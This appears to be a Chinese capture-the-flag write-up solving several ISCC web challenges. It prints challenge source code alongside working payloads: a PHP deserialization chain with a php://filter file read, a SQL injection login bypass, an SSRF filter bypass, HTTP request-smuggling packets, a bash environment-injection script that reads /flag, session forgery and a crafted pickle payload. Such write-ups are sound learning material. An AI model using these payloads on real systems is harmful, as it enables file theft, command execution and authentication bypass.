iscc
web
冬奥会
<?php
show_source(__FILE__);
$Step1=False;
$Step2=False;
$info=(array)json_decode(@$_GET['Information']);
if(is_array($info)){
var_dump($info);
is_numeric(@$info["year"])?die("Sorry~"):NULL;
if(@$info["year"]){
($info["year"]=2022)?$Step1=True:NULL;
}
if(is_array(@$info["items"])){
if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
$status = array_search("skiing", $info["items"]);
$status===false?die("Sorry~"):NULL;
foreach($info["items"] as $key=>$val){
$val==="skiing"?die("Sorry~"):NULL;
}
$Step2=True;
}
}
if($Step1 && $Step2){
include "2022flag.php";echo $flag;
}
?> array(0) { }
分析代码直接构造payload绕过两个if
payload(get):?Information={"year":"min","items":[0,[],"a"]}
爱国敬业好青年-2
拿到题目第一步,先看看页面的源代码
change开启传参
post:lati=116%C2%B023%E2%80%B2E&langti=39%C2%B054%E2%80%B2N
Pop2022
题目直接给出源码
Happy New Year~ MAKE A WISH
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
一个很明显的php反序列化配合文件包含漏洞的利用
直接构造poc
<?php
class Try_Work_Hard
{
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Road_is_Long
{
public $page;
public $string;
public function __construct($file)
{
$this->page = $file;
}
}
class Make_a_Change
{
public $effort;
}
$a = new Road_is_Long('aaa');
$a->string = new Make_a_Change();
$a->string->effort = new Try_Work_Hard();
$b = new Road_is_Long($a);
echo urlencode(serialize($b));
payload:?wish=O%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BO%3A12%3A"Road_is_Lo
ng"%3A2%3A%7Bs%3A4%3A"page"%3Bs%3A3%3A"aaa"%3Bs%3A6%3A"string"%3BO%3A13%3A"Make_a_
Change"%3A1%3A%7Bs%3A6%3A"effort"%3BO%3A13%3A"Try_Work_Hard"%3A1%3A%7Bs%3A6%3A"%00
%2A%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dfla
g.php"%3B%7D%7D%7Ds%3A6%3A"string"%3BN%3B%7D
直接进行传参得到一串base64
解码拿到flag
这是一道代码审计题
提示给的这么明显了,我们直接传参试一下
http://59.110.159.206:8040/index?url=127.0.0.1
访问并查看源码,发现有一个链接
感觉应该是一段编码,在网上查找了一下,果然存在这种编码,直接全部放上没有解码成功可能
是有长度限制那我们一段一段进行解码
将分段解码的内容拼接到一起,得到以下一段代码
def geneSign():
if(control_key==1):
return render_template("index.html")
else:
return "You have not access to this page!"
def check_ssrf(url):
hostname = urlparse(url).hostname
try:
if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
raise BaseException("url format error")
if re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
if judge_ip(hostname):
return True
return False, "You not get the right clue!"
else:
ip_address = socket.getaddrinfo(hostname,'http')[0][4][0]
if is_inner_ipaddress(ip_address):
return False,"inner ip address attack"
else:
return False, "You not get the right clue!"
except BaseException as e:
return False, str(e)
except:
return False, "unknow error"
def ip2long(ip_addr):
return struct.unpack("!L", socket.inet_aton(ip_addr))[0]
def is_inner_ipaddress(ip):
ip = ip2long(ip)
print(ip)
return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2lo
ng('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16
or ip2long('0.0.0.0') >> 24 == ip >> 24
def waf1(ip):
forbidden_list = [ '.', '0', '1', '2', '7']
for word in forbidden_list:
if ip and word:
if word in ip.lower():
return True
return False
def judge_ip(ip):
if(waf1(ip)):
return Fasle
else:
addr = addr.encode(encoding = "utf-8")
ipp = base64.encodestring(addr)
ipp = ipp.strip().lower().decode()
if(ip==ipp):
global control_key
control_key = 1
return True
else:
return False
分析这段代码,发现是一个简单的ssrf
payload:http://59.110.159.206:8040/index?url=https://@MTI3LjAuMC4x
给了一个文件名,我们直接访问现实没有权限,但是还给了我们一个a_cookie,很明显就是伪造cookie了
访问到这个页面之后发现返回的内容里有一段js代码,通过分析,发现是一个明显的xxe漏洞并且发现代码中的一个路径
Easy-SQL
?id 尝试给id传参试一下
到id=7的时候明显是一个假的flag,继续往后测试
到id=8的时候发现一个表名email
尝试使用联合查询注入,发现select被过滤掉了,使用大小写等绕过方式也没有效果
使用sqlmap跑库发现mysql的版本是mysql8,那么思路来了,mysql8有一个新特性是可以用table user替换select
payload:?id=-1 union table emails limit 7,1
发现一个压缩包
直接页面访问就可以下载下来
打开发现里面有源码
<?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
if ($conn->connect_errno) {
die("Connection failed: " . $conn->connect_errno);
}
echo "Where is the database?"."<br>";
echo "try ?id";
function sqlWaf($s)
{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
if (preg_match($filter,$s))
return False;
return True;
}
if (isset($_GET['id']))
{
$id = $_GET['id'];
$sql = "select * from users where id=$id";
$safe = preg_match('/select/is', $id);
if($safe!==0)
die("No select!");
$result = mysqli_query($conn, $sql);
if ($result)
{
$row = mysqli_fetch_array($result);
echo "<h3>" . $row['username'] . "</h3><br>";
echo "<h3>" . $row['passwd'] . "</h3>";
}
else
die('<br>Error!');
}
if (isset($_POST['username']) && isset($_POST['passwd']))
{
$username = strval($_POST['username']);
$passwd = strval($_POST['passwd']);
if ( !sqlWaf($passwd) )
die('damn hacker');
$sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ( $row['username'] === 'admin' && $row['passwd'] )
{
if ($row['passwd'] == $passwd)
{
die($flag);
} else {
die("username or passwd wrong, are you admin?");
}
} else {
die("wrong user");
}
} else {
die("user not exist or wrong passwd");
}
}
mysqli_close($conn);
?>
审计代码构造payload
payload(post):username=1' union select 1,0x61646d696e,3#&passwd=3
findme
f12查看源代码发现有一个unser.php文件,访问看看
明显是一个php反序列化题目
仔细分析源码,发现里面有一个hint.php文件,尝试查看其中的内容
<?php
class a{
public $un2="php://filter/read=convert.base64-encode/resource=";
}
var_dump(serialize(new a()));
那到一串base64编码的内容,解码看看
根据提示利用php原生类来尝试拿到flag的文件名
<?php
class a{
public $un0="DirectoryIterator";
public $un1="glob:///var/www/html/f*.txt";
public $un2;
public $un3="unserialize";
public $un4="abcd";
}
$a=new a();
echo serialize($a);
直接访问flag所在文件
让我康康!
查找flag在/fl4g中
抓包,http走私请求构造攻击包
GET / HTTP/1.1
Host: 59.110.159.206:7020
Content-Length: 137
Sec-Websocket-Key1: x
xxxxxxxxPOST / HTTP/1.1
Host: 59.110.159.206:7020
Content-Length: 75
Content-Type: application/x-www-form-urlencoded
search=flag
GET / HTTP/1.1
Host: 59.110.159.206:7020
GET / HTTP/1.1
Host: 59.110.159.206:7020
Content-Length: 101
Sec-Websocket-Key1: x
xxxxxxxxGET /fl4g HTTP/1.1
Host: 59.110.159.206:7020
secr3t_ip: 127.0.0.1
Content-Length: 45
GET / HTTP/1.1
Host: 59.110.159.206:7020
Content-Type: application/x-www-form-urlencoded
ping2rce
cgi-bin? p牛的文章曾详细分析的环境变量注入
分析明白这个漏洞就简单了
import requests
proxy = {'http': 'http://localhost:8080'}
url = 'http://59.110.159.206:8010/cgi-bin/ping?ip=127.0.0.1'
filename = 'BASH_FUNC_ping%%'
data = {filename: (None, '() { cat /flag; }')}
res = requests.post(url=url, files=data, proxies=proxy)
print(res.text)
直接拿到flag
Melody
测试发现,admin用户不能正常登录,其他用户可以正常登录
普通用户登录成功的页面抓包,发现一个session
session=eyJ1c2VybmFtZSI6ImFzZCJ9.Yor7Iw.ZEd9-4tiemAlHDfUUYmhMn7sWss
明显这道题让我们伪造session
查看登录界面源码有一个info,打开看一下
访问info
限制访问的浏览器,很明显是让我们伪造UA头
一个Melody传参?尝试之后发现可以进行进行flask模板注入
找到session-key
session-key:meldoy-is-so-cute-wawawa!
拿到session-key我们就可以开始伪造session了
session=eyJ1c2VybmFtZSI6ImFkbWluIn0.YoZhug.0Pdn7_tbYkuM6INN8HlOqqoKGQI
这里的flag是个假的,但是还给了我们一个文件路径,访问看看
# -*- coding:utf-8 -*-
import pickle
import melody
import base64
from flask import Flask, Response,request
class register:
def __init__(self,name,password):
self.name = name
self.password = password
def __eq__(self, other):
return type(other) is register and self.name == other.name and self.password == other.password
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module[0:8] == '__main__':
return getattr(sys.modules['__main__'],name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def find(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
@app.route('/therealflag', methods=['GET','POST'])
def realflag():
if request.method == 'POST':
try:
data = request.form.get('melody')
if b'R' in base64.b64decode(data):
return 'no reduce'
else:
result = find(base64.b64decode(data))
if type(result) is not register:
return 'The type is not correct!'
correct = ((result == register(melody.name,melody.password))&(result == register("melody","hug")))
if correct:
if session['username'] == 'admin':
return Response(read('./flag.txt'))
else:
return Response("You're not admin!")
except Exception as e:
return Response(str(e))
test = register('admin', '123456')
data = base64.b64encode(pickle.dumps(test)).decode()
return Response(data)
有一个/therealflag像是flag路径直接访问,但是直接访问没有flag
通过分析代码发现我们可以用picke反序列化覆盖melody模板变量
import base64
data=b'''c__main__
melody
(S'name'
S"melody"
S"hug"
S"2"
db0(c__main__
register
S"melody"
S"hug"
o.
'''
print(base64.b64encode(data))
post传参拿到flag |